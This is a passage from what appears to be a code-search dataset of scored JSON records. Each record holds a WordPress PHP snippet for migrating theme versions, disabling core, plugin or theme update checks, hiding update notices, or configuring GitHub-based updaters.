version\n\t$version = get_option( 'total_version' );\n\t$version = $version ? $version : '2.1.3'; // needs something\n\n\t// Migrate redux options\n\tif ( ! get_option( 'wpex_customizer_migration_complete' ) && get_option( 'wpex_options' ) ) {\n\t\trequire_once( $dir .'redux-migrate.php' );\n\t} else {\n\t\tupdate_option( 'wpex_customizer_migration_complete', 'completed' );\n\t}\n\n\t// Reset plugin notification and enable\n\tif ( $version != WPEX_THEME_VERSION ) {\n\t\tset_theme_mod( 'recommend_plugins_enable', true );\n\t\tdelete_metadata( 'user', null, 'tgmpa_dismissed_notice_wpex_theme', null, true );\n\t}\n\n\t// Display Notice if Supported version of VC is smaller then current version\n\tif ( defined( 'WPB_VC_VERSION' )\n\t\t&& apply_filters( 'wpex_display_outdated_vc_notice', true )\n\t\t&& version_compare( WPEX_VC_SUPPORTED_VERSION, WPB_VC_VERSION, '>' )\n\t) {\n\n\t\t// Make sure TGMA is running\n\t\tset_theme_mod( 'recommend_plugins_enable', true );\n\t\tdelete_metadata( 'user', null, 'tgmpa_dismissed_notice_wpex_theme', null, true );\n\n\t\t// Don't display notice anymore...@since 3.1.1\n\t\t/*\n\t\trequire_once( $dir .'update-front-end-notice.php' );\n\t\tnew WPEX_Update_Front_End_Notice( array(\n\t\t\t'title' => 'Total v'. $theme_version,\n\t\t\t'content' => 'vc_notice',\n\t\t) );*/\n\n\t}\n\n\t// Lets add an initial version that tells me when they first activated the theme, this never changes\n\tif ( ! get_option( 'total_initial_version' ) ) {\n\t\tupdate_option( 'total_initial_version', $theme_version );\n\t}\n\n\t// Save all mods to a backup option incase something goes wrong\n\tfunction wpex_backup_mods() {\n\t\tglobal $wpex_theme_mods;\n\t\tupdate_option( 'wpex_total_customizer_backup' , $wpex_theme_mods );\n\t}\n\n\t// Version 3.0.0 Update\n\tif ( $version < '3.0.0' ) {\n\t\twpex_backup_mods(); // Backup first\n\t\t$file = WPEX_FRAMEWORK_DIR .'updates/update-3_0_0.php';\n\t\tif ( file_exists( $file ) ) {\n\t\t\trequire_once( $file );\n\t\t}\n\t}\n\n\t// Update theme version\n\tupdate_option( 'total_version', $theme_version );\n\n}", "title": "" }, { "docid": "2a5f0103f643f3a8cd45308dfe37b5ee", "score": "0.62042785", "text": "function ea_dont_update_theme( $r, $url ) {\r\n\tif ( 0 !== strpos( $url, 'https://api.wordpress.org/themes/update-check/1.1/' ) )\r\n \t\treturn $r; // Not a theme update request. Bail immediately.\r\n \t$themes = json_decode( $r['body']['themes'] );\r\n \t$child = get_option( 'stylesheet' );\r\n\tunset( $themes->themes->$child );\r\n \t$r['body']['themes'] = json_encode( $themes );\r\n \treturn $r;\r\n }", "title": "" }, { "docid": "265f8b6cc458fc74e81c48f028d4a64d", "score": "0.61775756", "text": "function tn_disable_wp_version() {\nreturn '';\n}", "title": "" }, { "docid": "9ceedfd3a1906acf0c12df9d2f0d7a41", "score": "0.6129396", "text": "public function set_as_theme() {\r\n\t vc_set_as_theme(false);\r\n }", "title": "" }, { "docid": "f1454e190c17ee5475f0e0d55e8d7967", "score": "0.609841", "text": "public function skipUpdates() {\n $this->skipUpdates = TRUE;\n }", "title": "" }, { "docid": "5e5af2367cc1abc4cfc7d4aaa09d086c", "score": "0.6041478", "text": "function pointfinder_ultimate_and_vc_options() {\n\tif (did_action( 'pointfinder_run_onlyoncefunction' ) === 1 ) { \n\n\t\t$pf_ultimate_constants = array(\n\t\t\t'ULTIMATE_NO_UPDATE_CHECK' => true,\n\t\t\t'ULTIMATE_NO_EDIT_PAGE_NOTICE' => false,\n\t\t\t'ULTIMATE_NO_PLUGIN_PAGE_NOTICE' => false\n\t\t);\n\n\t\tupdate_option('ultimate_constants',$pf_ultimate_constants);\n\t\tupdate_option('ultimate_theme_support','enable');\n\t\tupdate_option('ultimate_updater','disabled');\n\t\tupdate_option('ultimate_vc_addons_redirect',false);\n\n\t\tdefine('BSF_PRODUCT_NAGS', false);\n\t}\n}", "title": "" }, { "docid": "265fe9407765be93a164881a7b6c00cb", "score": "0.59538114", "text": "public function switch_themes_off(){\n # just do nothing\n }", "title": "" }, { "docid": "7d86186fc96a2c035b8c7609fc05b2a1", "score": "0.5953617", "text": "static function composer_additional_styles() { ?>\n\n <style id=\"cv-composer-developer-control-style\">\n .control-wrap[data-type=\"developer\"] { display: none !important; }\n </style>\n\n <?php }", "title": "" }, { "docid": "729721f46b6c5daaf1aec612aa26c657", "score": "0.5945856", "text": "public function updateNoDev()\n {\n return $this->getBoolean('update-no-dev', true);\n }", "title": "" }, { "docid": "7fae577be17632a1edc9eab9214c71c1", "score": "0.59410566", "text": "function codebean_visual_composer_init() {\n\tvc_set_as_theme();\n}", "title": "" }, { "docid": "496013a4ca396d2b1966c60e4727bab8", "score": "0.5930157", "text": "private function init_not_protect_users_hooks(){\n\t\tadd_action( 'init', [$this, 'init'] );\n\t\tadd_action( 'admin_init', [$this, 'override_not_protect_user_role'],1 );\n\t\tadd_action( 'admin_init', [$this, 'admin_init'] );\n\t\t\n\t\t\n\t\t// Disable plugins from hooking into plugins_api.\n\t\tremove_all_filters( 'plugins_api' );\n\t\t\n\t\t// Further disable theme update checks.\n\t\tadd_filter( 'pre_site_transient_update_themes', array( $this, 'pre_update_themes' ) );\n\t\tadd_filter( 'site_transient_update_themes', array( $this, 'update_themes' ) );\n\t\tadd_filter( 'transient_update_themes', array( $this, 'update_themes' ) );\n\t\t\n\t\t// Further disable plugin update checks.\n\t\tadd_filter( 'pre_site_transient_update_plugins', array( $this, 'pre_update_plugins' ) );\n\t\tadd_filter( 'site_transient_update_plugins', array( $this, 'update_plugins' ) );\n\t\tadd_filter( 'transient_update_plugins', array( $this, 'update_plugins' ) );\n\t\t\n\t\t// Further disable core update checks.\n\t\tadd_filter( 'pre_site_transient_update_core', array( $this, 'pre_update_core' ) );\n\t\tadd_filter( 'site_transient_update_core', array( $this, 'update_core' ) );\n\t\t\n\t\t// Disable even other external updates related to core.\n\t\tadd_filter( 'auto_update_translation', '__return_false' );\n\t\tadd_filter( 'automatic_updater_disabled', '__return_true' );\n\t\tadd_filter( 'allow_minor_auto_core_updates', '__return_false' );\n\t\tadd_filter( 'allow_major_auto_core_updates', '__return_false' );\n\t\tadd_filter( 'allow_dev_auto_core_updates', '__return_false' );\n\t\tadd_filter( 'auto_update_core', '__return_false' );\n\t\tadd_filter( 'wp_auto_update_core', '__return_false' );\n\t\tadd_filter( 'auto_update_plugin', '__return_false' );\n\t\tadd_filter( 'auto_update_theme', '__return_false' );\n\t\tadd_filter( 'auto_core_update_send_email', '__return_false' );\n\t\tadd_filter( 'automatic_updates_send_debug_email ', '__return_false' );\n\t\tadd_filter( 'send_core_update_notification_email', '__return_false' );\n\t\tadd_filter( 'automatic_updates_is_vcs_checkout', '__return_true' );\n\t\tadd_filter( 'acf/settings/show_admin', '__return_false');\n\n\t\t// Remove bulk action for updating themes and plugins.\n\t\tadd_filter( 'bulk_actions-plugins', array( $this, 'remove_bulk_actions' ) );\n\t\tadd_filter( 'bulk_actions-themes', array( $this, 'remove_bulk_actions' ) );\n\t\tadd_filter( 'bulk_actions-plugins-network', array( $this, 'remove_bulk_actions' ) );\n\t\tadd_filter( 'bulk_actions-themes-network', array( $this, 'remove_bulk_actions' ) );\n\n\n\t\t// Filter outbound requests to known update hosts.\n\t\tadd_filter( 'pre_http_request', array( $this, 'filter_update_requests' ), 10, 3 );\n\t}", "title": "" }, { "docid": "b7bd3e0055bc9d75161616f2a8d90b88", "score": "0.5843348", "text": "public function hide_update_msg(){\n\t\t! current_user_can( 'install_plugins' )\n\t\tand remove_action( 'admin_notices', 'update_nag', 3 );\n\t}", "title": "" }, { "docid": "0224409ac82bea5275290107061a57b8", "score": "0.58417904", "text": "function mts_hide_themes_plugins() {\n if ( !is_admin() ) return;\n if ( false === get_site_transient( 'mts_wp_org_check_disabled' ) ) { // run only once\n delete_site_transient('update_themes' );\n delete_site_transient('update_plugins' );\n\n add_action('current_screen', 'mts_remove_themes_plugins_from_update' );\n }\n }", "title": "" }, { "docid": "27fb3eedfd5d1a75b696241d09409c05", "score": "0.5829362", "text": "public function upgradeFromEnvato() {\r\n if ( ! current_user_can('update_plugins') )\r\n wp_die(__('You do not have sufficient permissions to update plugins for this site.'));\r\n $title = __('Update Visual Composer Plugin', 'js_composer');\r\n $parent_file = 'options-general.php';\r\n $submenu_file = 'options-general.php';\r\n require_once ABSPATH . 'wp-admin/admin-header.php';\r\n require_once WPBakeryVisualComposer::$config['COMPOSER_LIB'].'wpb_automatic_updater.php';\r\n $upgrader = new WpbAutomaticUpdater( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) );\r\n $upgrader->upgradeComposer();\r\n include ABSPATH . 'wp-admin/admin-footer.php';\r\n exit();\r\n }", "title": "" }, { "docid": "3118d22cdb656af2662300b9cb5b81d3", "score": "0.58254623", "text": "public function disable_automatic_manager(){\r\n\t\t\t\r\n\t\tremove_action('wp_head', array(&$this, 'on_wp_print_styles'));\r\n\t\tremove_action('wp_head', array(&$this, 'on_wp_print_scripts'));\r\n\t\tremove_action('wp_footer', array(&$this, 'on_wp_print_footer_scripts'));\r\n\t\t\r\n\t\tremove_action('shutdown', array(&$this, 'obstart_replace_assets_marker'), -11);\r\n\t\tremove_action('init', array(&$this, 'obstart_init'));\r\n\t\t\r\n\t\t$this->status = false;\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "a5c913a757a923305490aabfbb48cf92", "score": "0.58185375", "text": "public function hooks() {\n\n\t\tif ( ! $this->is_safe_updates_active() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$this->loader->add_filter( 'wp_prepare_themes_for_js', $this, 'theme_update_message' );\n\t}", "title": "" }, { "docid": "90afd29b9c4f0f499c6c0636194e3184", "score": "0.58163184", "text": "public function admin_init() {\n\t\t// Remove updates page.\n\t\tremove_submenu_page( 'index.php', 'update-core.php' );\n\t\t\n\t\t// Disable plugin API checks.\n\t\tremove_all_filters( 'plugins_api' );\n\t\t\n\t\t// Disable theme checks.\n\t\tremove_action( 'load-update-core.php', 'wp_update_themes' );\n\t\tremove_action( 'load-themes.php', 'wp_update_themes' );\n\t\tremove_action( 'load-update.php', 'wp_update_themes' );\n\t\tremove_action( 'wp_update_themes', 'wp_update_themes' );\n\t\tremove_action( 'admin_init', '_maybe_update_themes' );\n\t\twp_clear_scheduled_hook( 'wp_update_themes' );\n\t\t\n\t\t// Disable plugin checks.\n\t\tremove_action( 'load-update-core.php', 'wp_update_plugins' );\n\t\tremove_action( 'load-plugins.php', 'wp_update_plugins' );\n\t\tremove_action( 'load-update.php', 'wp_update_plugins' );\n\t\tremove_action( 'admin_init', '_maybe_update_plugins' );\n\t\tremove_action( 'wp_update_plugins', 'wp_update_plugins' );\n\t\twp_clear_scheduled_hook( 'wp_update_plugins' );\n\t\t\n\t\t// Disable any other update/cron checks.\n\t\tremove_action( 'wp_version_check', 'wp_version_check' );\n\t\tremove_action( 'admin_init', '_maybe_update_core' );\n\t\tremove_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );\n\t\tremove_action( 'admin_init', 'wp_maybe_auto_update' );\n\t\tremove_action( 'admin_init', 'wp_auto_update_core' );\n\t\twp_clear_scheduled_hook( 'wp_version_check' );\n\t\twp_clear_scheduled_hook( 'wp_maybe_auto_update' );\n\t\t\n\t\t// Hide nag messages.\n\t\tremove_action( 'admin_notices', 'update_nag', 3 );\n\t\tremove_action( 'network_admin_notices', 'update_nag', 3 );\n\t\tremove_action( 'admin_notices', 'maintenance_nag' );\n\t\tremove_action( 'network_admin_notices', 'maintenance_nag' );\n\n\t}", "title": "" }, { "docid": "ea27b39babb9add7cdc3d61985a788df", "score": "0.5811761", "text": "function no_update_notification() {\n\tif (!current_user_can('activate_plugins')) remove_action('admin_notices', 'update_nag', 3);\n}", "title": "" }, { "docid": "b179d1978d45c194b072e05a7a1e8a82", "score": "0.58079803", "text": "public function disable_admin_bar_updates_menu() {\n\n // wp-includes/class-wp-admin-bar.php:499\n if ( $this->disable_update_core_action ) {\n // Line 40 -> 50 in WP 4.3.1\n remove_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 );\n }\n }", "title": "" }, { "docid": "fdfe47c350bf9a48fe87c66c969c76c5", "score": "0.5794065", "text": "function extra_hide_update_notices() {\r\n\tif ( ! current_user_can( 'update_core' ) ) {\r\n\t\tremove_action( 'admin_notices', 'update_nag', 3 );\r\n\t}\r\n}", "title": "" }, { "docid": "166aab82862fd4481f5d0c4ae3c71860", "score": "0.5784644", "text": "function Weirdmeetup_Feedwordpress_Remove_Train_effect($settings)\n{\n if (isset($settings['update/last'])) {\n define('WP_IMPORTING', false);\n } else {\n define('WP_IMPORTING', true);\n }\n}", "title": "" }, { "docid": "7bd9ccb69f99f28f9c8a6abe530040ff", "score": "0.57771385", "text": "function optimize_mikado_layerslider_overrides() {\n\t\t\t$GLOBALS['lsAutoUpdateBox'] = false;\n\t\t}", "title": "" }, { "docid": "c4f04b47b1ef55583cfbf68c3b5b0746", "score": "0.57264066", "text": "function _maybe_update_themes() {\n\t$current = get_site_transient( 'update_themes' );\n\tif ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )\n\t\treturn;\n\twp_update_themes();\n}", "title": "" }, { "docid": "4f5dce109669545ca8dfe5b97cf6bdd3", "score": "0.57044214", "text": "function wpex_backup_mods() {\n\t\tglobal $wpex_theme_mods;\n\t\tupdate_option( 'wpex_total_customizer_backup' , $wpex_theme_mods );\n\t}", "title": "" }, { "docid": "ca42427a9009b8c3711618d49014e468", "score": "0.5703478", "text": "function wpa_activate_theme() {\n\tupdate_option('image_default_link_type','none');\n\t// comment this before the build if uploads from the old website is being migrated with default year-month structure\n\tupdate_option('uploads_use_yearmonth_folders', 0);\n}", "title": "" }, { "docid": "4f21f13cd9d084c52bf122797a147fc1", "score": "0.56931055", "text": "function poxy_disable_changing_theme_for_non_admin() {\n\tglobal $submenu, $userdata;\n\tget_currentuserinfo();\n\tif ($userdata->ID != 1) {\n\t\tunset($submenu['themes.php'][5]);\n\t}\n}", "title": "" }, { "docid": "52f5d117eeb1fd034e6996c706179d4f", "score": "0.5689886", "text": "public function block_updates_during_restore_progress() {\n\t\t$check_restore_progress = $this->check_restore_progress(1);\n\t\t// Check to see if the restore is still in progress\n\t\tif (is_array($check_restore_progress) && true == $check_restore_progress['status']) {\n\t\t\tadd_filter('pre_site_transient_update_core', '__return_false'); // Disable WordPress core updates\n\t\t\tadd_filter('pre_site_transient_update_plugins', '__return_false'); // Disable WordPress plugin updates\n\t\t\tadd_filter('pre_site_transient_update_themes', '__return_false'); // Disable WordPress themes updates\n\t\t}\n\t}", "title": "" }, { "docid": "5aaf50b6a5da644a93960da244a19212", "score": "0.5673896", "text": "function crt_force_deactivate_non_whitelisted() {\n\t\n\tif ( ! class_exists( 'Jetpack_Options' ) ) {\n\t\t\n\t\treturn;\n\t\n\t}\n\n\t$whitelist = crt_jetpack_whitelist();\n\tJetpack_Options::update_option( 'active_modules', array_unique( $whitelist ) );\n\n}", "title": "" }, { "docid": "645d5d156ee3a64341dfd1e2f906130e", "score": "0.5670433", "text": "public function init() {\n\t\tremove_action( 'init', 'wp_version_check' );\n\t\tadd_filter( 'pre_option_update_core', '__return_null' );\n\t\tremove_all_filters( 'plugins_api' );\n\t}", "title": "" }, { "docid": "1b9b9a2954340f00ce402a6a60133715", "score": "0.56691283", "text": "function hideUpdateNoticeToAllButAdmin() {\n if (!current_user_can('update_core')) {\n remove_action( 'admin_notices', 'update_nag', 3 );\n }\n }", "title": "" }, { "docid": "4f265d66199694dfc30e93d5482a1cfe", "score": "0.56561935", "text": "function neufsansk_hide_update_notice_to_all_but_admin() {\n if ( ! current_user_can( 'update_core' ) )\n remove_action( 'admin_notices', 'update_nag', 3 );\n}", "title": "" }, { "docid": "3c71e2a4f7661cc6fc5f6d37b328408e", "score": "0.5654342", "text": "function regkvart_hidden_theme( $r, $url ) {\n\tif ( 0 !== strpos( $url, 'http://api.wordpress.org/themes/update-check' ) )\n\t\treturn $r; // Not a theme update request. Bail immediately.\n\t$themes = unserialize( $r['body']['themes'] );\n\tunset( $themes[ get_option( 'template' ) ] );\n\tunset( $themes[ get_option( 'stylesheet' ) ] );\n\t$r['body']['themes'] = serialize( $themes );\n\treturn $r;\n}", "title": "" }, { "docid": "2de9e78a9b8f442f00a93b9792345e07", "score": "0.56514406", "text": "function kirki_set_theme_mods() {\r\n\t\t\r\n\t}", "title": "" }, { "docid": "47c61c7d0b36638f9b758701d432f74c", "score": "0.5635067", "text": "public function switch_theme_off(){\n\t}", "title": "" }, { "docid": "ce85dff5a965611e22e0c174f1d8e80d", "score": "0.5622957", "text": "public static function skipUpdateCheck()\n {\n return Config::get('tapioca.skip_update');\n }", "title": "" }, { "docid": "845467097bdc7b85a0a97e48be79a5fc", "score": "0.56225055", "text": "private function replace_auto_updates_option() {\n\t\t$old_setting_value = UpdraftPlus_Options::get_updraft_option('updraft_auto_updates');\n\t\tUpdraftPlus_Options::delete_updraft_option('updraft_auto_updates');\n\t\t$new_setting_value = (array) get_site_option('auto_update_plugins', array());\n\t\tif (!empty($old_setting_value)) $new_setting_value[] = basename(UPDRAFTPLUS_DIR).'/updraftplus.php';\n\t\t$new_setting_value = array_unique($new_setting_value);\n\t\tupdate_site_option('auto_update_plugins', $new_setting_value);\n\t}", "title": "" }, { "docid": "23c4d56108aa7aac46e8d01ba149d442", "score": "0.5622247", "text": "function wp_maybe_auto_update() {\n\tinclude_once( ABSPATH . '/wp-admin/includes/admin.php' );\n\tinclude_once( ABSPATH . '/wp-admin/includes/class-wp-upgrader.php' );\n\n\t$upgrader = new WP_Automatic_Updater;\n\t$upgrader->run();\n}", "title": "" }, { "docid": "8bdea937e5a1812bf9ea68b0609191c1", "score": "0.5618061", "text": "public function extend() {\n\n if ( ! get_theme_mod( 'extend_visual_composer', true ) ) {\n return;\n }\n\n require_once( WPEX_VCEX_DIR .'extend.php' );\n\n }", "title": "" }, { "docid": "a79b6181b121dbf0fe566156d3105276", "score": "0.5613085", "text": "function vc_before_init_actions() {\n if( function_exists('vc_set_as_theme') ){\n\n vc_set_as_theme( true );\n\n }\n\n // Link your VC elements's folder\n if( function_exists('vc_set_shortcodes_templates_dir') ) {\n\n vc_set_shortcodes_templates_dir( get_stylesheet_directory() . '/library/vc-overrides' );\n\n }\n\n // Disable Instructional/Help Pointers\n if( function_exists('vc_pointer_load') ){\n\n remove_action( 'admin_enqueue_scripts', 'vc_pointer_load' );\n\n }\n\n}", "title": "" }, { "docid": "26b02b823e6be2e866712207127e44f7", "score": "0.56092453", "text": "function disable_auto_update ( $r, $url = null ) {\n\t\tif ( 0 !== strpos( $url, 'http://api.wordpress.org/plugins/update-check' ) )\n\t\t\treturn $r; // Not a plugin update request. Bail immediately.\n\t\t$plugins = unserialize( $r['body']['plugins'] );\n\t\tunset( $plugins->plugins[ plugin_basename( __FILE__ ) ] );\n\t\tunset( $plugins->active[ array_search( plugin_basename( __FILE__ ), $plugins->active ) ] );\n\t\t$r['body']['plugins'] = serialize( $plugins );\n\t\treturn $r;\n\t}", "title": "" }, { "docid": "03a2a8f1f6ba2e72051f8d0dd8aff672", "score": "0.56003076", "text": "function remove_core_updates(){\nglobal $wp_version;return(object) array('last_checked'=> time(),'version_checked'=> $wp_version,);\n}", "title": "" }, { "docid": "9a5970fcbb9ea356ecdf7e1cc3484bca", "score": "0.5596526", "text": "public static function noCache()\n {\n // WP Optimize cache exclusion\n add_filter('wpo_restricted_cache_page_type', function ($restricted = false) {\n return 'Installing plugin and theme updates';\n });\n }", "title": "" }, { "docid": "55e8f380eec3e480d4a38227b5d7300a", "score": "0.55881196", "text": "function inject_updatebox() {\n\t\tstatic $did_output = false;\n\t\tif ( ! defined( 'LIVEPRESS_THEME' ) || ! constant( 'LIVEPRESS_THEME' ) ) {\n\t\t\tif ( ! $did_output && ( is_single() || is_home() ) ) {\n\t\t\t\tlivepress_update_box();\n\t\t\t\tif ( is_single() )\n\t\t\t\t\tLivePress_Updater::instance()->inject_widget( true );\n\t\t\t\t$did_output = true;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "660197beb32bbd450f17e38d47025915", "score": "0.55879873", "text": "public function autoInstall(){\n\t\treturn false;\n\t}", "title": "" }, { "docid": "adc8b7cb688f702e18ddc2d1682ac743", "score": "0.5582914", "text": "function disable_update_menus () {\n if ( function_exists( 'remove_menu_page' ) ) {\n remove_menu_page( 'update-core.php' );\n } else {\n unset( $GLOBALS['menu'][30] );\n }\n}", "title": "" }, { "docid": "1aee5929a5b07d55e8fe3a2527c778b3", "score": "0.5577437", "text": "function ewd_bootpress_refresh_mce( $ver ) {\n\t$ver += 3;\n\treturn $ver;\n}", "title": "" }, { "docid": "869737184b956381c2a2db453d207e2d", "score": "0.55680525", "text": "public function run_updates(){\n\t\t$updates = $this->config->get_option('run_staging_updates');\n\t\tif (empty($updates)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif (version_compare('1.9.0', $updates) >= 0) {\n\t\t\t$prefix = $this->get_existing_staging_prefix();\n\t\t\tif ($prefix !== false && $prefix !== $this->wpdb->base_prefix) {\n\t\t\t\t$this->replace_links_obj->discourage_search_engine($prefix, $reset_permalink = true);\n\t\t\t}\n\t\t}\n\n\t\t$this->config->set_option('run_staging_updates', false);\n\t}", "title": "" }, { "docid": "2d99309206124fa7a1c7829ab21b899e", "score": "0.556582", "text": "private function installAndUpdate(){\n\t\t\t$this->runUpgradeTasks( $this->pkgVersion )\n\t\t\t\t ->setupTheme()\n\t\t\t\t ->setupPageTypes();\n\t\t}", "title": "" }, { "docid": "13b8f43ae2f25ee1c8927adc42afd48b", "score": "0.55521566", "text": "function wpbitly_activate() {\r\n\r\n\tdelete_option( 'wpbitly_invalid' );\r\n\tdelete_option( 'wpbitly_version' );\r\n\t\r\n}", "title": "" }, { "docid": "23467a139dd990d49d902e576a88091e", "score": "0.5546251", "text": "protected function _admin_update_check() {\n \n if ( class_exists( 'WP_GitHub_Updater' ) ) {\n \n if ( is_admin() ) { // note the use of is_admin() to double check that this is happening in the admin\n \n $config = array(\n 'slug' => plugin_basename( __FILE__ ),\n 'plugin' => plugin_basename( __FILE__ ),\n 'proper_folder_name' => EWPT_PLUGIN_SLUG,\n 'api_url' => 'https://api.github.com/repos/envato/' . EWPT_PLUGIN_SLUG,\n 'raw_url' => 'https://raw.githubusercontent.com/envato/' . EWPT_PLUGIN_SLUG . '/master',\n 'github_url' => 'https://github.com/envato/' . EWPT_PLUGIN_SLUG,\n 'zip_url' => 'https://github.com/envato/' . EWPT_PLUGIN_SLUG . '/archive/master.zip',\n 'sslverify' => true,\n 'access_token' => ''\n );\n \n new WP_GitHub_Updater( $config );\n \n }\n \n }\n \n }", "title": "" }, { "docid": "0c68c9ae64b2fb8c4e56e54ba97f41d3", "score": "0.5525073", "text": "function hearing_hidden_theme( $r, $url ) {\n\tif ( 0 !== strpos( $url, 'http://api.wordpress.org/themes/update-check' ) )\n\t\treturn $r; // Not a theme update request. Bail immediately.\n\t$themes = unserialize( $r['body']['themes'] );\n\tunset( $themes[ get_option( 'template' ) ] );\n\tunset( $themes[ get_option( 'stylesheet' ) ] );\n\t$r['body']['themes'] = serialize( $themes );\n\treturn $r;\n}", "title": "" }, { "docid": "410a288aeeabccc7e25207afc28f8546", "score": "0.5518455", "text": "function tokopress_ocdi_disable_update_check( $response, $url ) {\t\n\tif ( 0 === strpos( $url, 'https://api.wordpress.org/plugins/update-check' ) ) {\n\t\t$basename = 'one-click-demo-import/one-click-demo-import.php';\n\t\t$plugins = json_decode( $response['body']['plugins'] );\n\t\tif ( isset( $plugins->plugins->$basename ) ) {\n\t\t\tunset( $plugins->plugins->$basename );\n\t\t\tif ( isset($plugins->active) && is_array($plugins->active) ) {\n\t\t\t\tunset( $plugins->active[ array_search( $basename, $plugins->active ) ] );\n\t\t\t}\n\t\t}\n\t\t$response['body']['plugins'] = json_encode( $plugins );\n\t}\n\treturn $response;\n}", "title": "" }, { "docid": "4ab667049771676094bc0ad692f2f9c7", "score": "0.55119437", "text": "function poxy_hide_update_nag() {\nremove_action( 'admin_notices', 'update_nag', 3 );\n}", "title": "" }, { "docid": "de9b0a91f41b7d4f831c7a6aefed0ed9", "score": "0.54889715", "text": "function remove_wp_core_updates(){\n\t\t\t\t\t global $wp_version;\n\t\t\t\t\t return(object) array('last_checked' => time(),'version_checked' => $wp_version);\n\t\t\t\t\t}", "title": "" }, { "docid": "b3deb8a1adcfe57b4631637579176e18", "score": "0.5488413", "text": "function ils_plugin_update() {\n\n\t\t// Include updater class\n\t\trequire_once( ILS_PATH_INCLUDES . '/updater.php' );\n\n\t\tdefine( 'WP_GITHUB_FORCE_UPDATE', true );\n\n\t\tif ( is_admin() ) { // note the use of is_admin() to double check that this is happening in the admin\n\n\t\t\t$config = array(\n\t\t\t\t'slug' => plugin_basename( __FILE__ ),\n\t\t\t\t'proper_folder_name' => 'ilmenite-shortcodes',\n\t\t\t\t'api_url' => 'https://api.github.com/repos/xldstudios/ilmenite-shortcodes',\n\t\t\t\t'raw_url' => 'https://raw.github.com/xldstudios/ilmenite-shortcodes/master',\n\t\t\t\t'github_url' => 'https://github.com/xldstudios/ilmenite-shortcodes',\n\t\t\t\t'zip_url' => 'https://github.com/xldstudios/ilmenite-shortcodes/archive/master.zip',\n\t\t\t\t'sslverify' => true,\n\t\t\t\t'requires' => '3.0',\n\t\t\t\t'tested' => '3.6',\n\t\t\t\t'readme' => 'README.md',\n\t\t\t);\n\n\t\t\tnew WP_GitHub_Updater( $config );\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "f22be43e3ab17e4fa2576257761d1f34", "score": "0.5485703", "text": "public function disable_rediraction() {\n\t\t\tdelete_transient( '_fl_builder_activation_admin_notice' );\n\t\t}", "title": "" }, { "docid": "32984416374783c145ef22d95208f136", "score": "0.54813236", "text": "public function enable_update() {\n\t\tif ( $this->has_extensions() ) {\n\t\t\tadd_filter( 'pre_set_site_transient_update_plugins', array( $this, 'check_updates' ) );\n\t\t\tadd_filter( 'plugins_api', array( $this, 'get_info' ), 10, 3 );\n\t\t}\n\t}", "title": "" }, { "docid": "13faa172af2a290d1f24bf5a6ddd488f", "score": "0.5480104", "text": "protected function _shouldSkipProcessModulesUpdates()\n {\n if (!Mage::isInstalled()) {\n return false;\n }\n\n $ignoreDevelopmentMode = (bool)(string)$this->_config->getNode(self::XML_PATH_IGNORE_DEV_MODE);\n if (Mage::getIsDeveloperMode() && !$ignoreDevelopmentMode) {\n return false;\n }\n\n return (bool)(string)$this->_config->getNode(self::XML_PATH_SKIP_PROCESS_MODULES_UPDATES);\n }", "title": "" }, { "docid": "13faa172af2a290d1f24bf5a6ddd488f", "score": "0.5480104", "text": "protected function _shouldSkipProcessModulesUpdates()\n {\n if (!Mage::isInstalled()) {\n return false;\n }\n\n $ignoreDevelopmentMode = (bool)(string)$this->_config->getNode(self::XML_PATH_IGNORE_DEV_MODE);\n if (Mage::getIsDeveloperMode() && !$ignoreDevelopmentMode) {\n return false;\n }\n\n return (bool)(string)$this->_config->getNode(self::XML_PATH_SKIP_PROCESS_MODULES_UPDATES);\n }", "title": "" }, { "docid": "9210226e6f1d42fb9c089ed1fedaa5fa", "score": "0.547759", "text": "function removeCoreUpdates() {\n global $wp_version;\n\n return (object) array(\n 'last_checked'=> time(),\n 'version_checked'=> $wp_version\n );\n}", "title": "" }, { "docid": "84a8ab3b8104e83764d2b98f67904e52", "score": "0.54732907", "text": "function child_themer_update() {\n\t\n\t// Don't do anything if we're on the latest version.\n\tif ( version_compare( get_option( 'child_themer_version_number' ), THMR_VERSION, '>=' ) )\n\t\treturn;\n\n\t// Update to Child Themer 1.0.1\n\tif ( version_compare( get_option( 'child_themer_version_number' ), '1.0.1', '<' ) )\n\t\tupdate_option( 'child_themer_version_number', '1.0.1' );\n\t\t\n\t// Update to Child Themer 1.0.2\n\tif ( version_compare( get_option( 'child_themer_version_number' ), '1.0.2', '<' ) )\n\t\tupdate_option( 'child_themer_version_number', '1.0.2' );\n\t\t\n\t// Update to Child Themer 1.1.0\n\tif ( version_compare( get_option( 'child_themer_version_number' ), '1.1.0', '<' ) ) {\n\n\t\t$child_themer_settings = get_option( 'child_themer_settings' );\n\t\t$new_child_themer_settings = array(\n\t\t\t'enable_parent_theme_editor' => 0,\n\t\t\t'enable_child_theme_editor' => 1\n\t\t);\n\t\t$child_themer_settings = wp_parse_args( $new_child_themer_settings, $child_themer_settings );\n\t\tupdate_option( 'child_themer_settings', $child_themer_settings );\n\t\t\n\t\tupdate_option( 'child_themer_version_number', '1.1.0' );\n\t\t\n\t}\n\t\n\t// Update to Child Themer 1.1.1\n\tif ( version_compare( get_option( 'child_themer_version_number' ), '1.1.1', '<' ) )\n\t\tupdate_option( 'child_themer_version_number', '1.1.1' );\n\t\t\n\t// Update to Child Themer 1.1.2\n\tif ( version_compare( get_option( 'child_themer_version_number' ), '1.1.2', '<' ) )\n\t\tupdate_option( 'child_themer_version_number', '1.1.2' );\n\t\n\t// Finish the update sequence.\n\tchild_themer_activate();\n\t\n}", "title": "" }, { "docid": "98c1db23fd6f20e05fd04b0defc58d70", "score": "0.5470123", "text": "function devlyAdminStartup() {\n\n\t$settings = get_option( \"devlyThemeSettings\" );\n\t\n\tif ( empty( $settings ) ) {\n\t\n\t\t$settings = array(\n\t\t\t'devly_intro' => 'Some intro text for the home page',\n\t\t\t'devly_tag_class' => false,\n\t\t\t'devly_ga' => false\n\t\t);\n\t\t\n\t\tadd_option( \"devlyThemeSettings\", $settings, '', 'yes' );\n\t\n\t}\t\n\n}", "title": "" }, { 